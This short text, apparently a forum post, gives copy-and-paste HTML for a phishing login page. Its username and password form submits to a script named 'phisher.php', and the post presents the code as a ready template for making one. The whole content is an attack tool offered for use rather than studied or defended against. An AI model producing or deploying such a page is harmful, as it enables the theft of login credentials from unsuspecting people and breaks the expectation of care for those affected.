Here is how to make one just copy and paste it in a text editor (I use notepad)
<html>
<head>
<script type="text/javascript"><!--
function confirm(form) {
if(form.username.value == "") {
alert("Error: no username entered.");
return false;
}
if(form.password.value == "") {
alert("Error: no password entered.");
return false;
}
return true;
}
//--></script>
</head>
<body>
<div>
<form action="phisher.php" method="post" onsubmit="confirm(this);">
<label for="username">Username: </label>
<input name="username" type="text" value="" />
<br />
<label for="password">Password: </label>
<input name="password" type="password" value="" />
<br />
<br />
<input type="submit" value="Login" />
</form>
</div>
</body>
</html>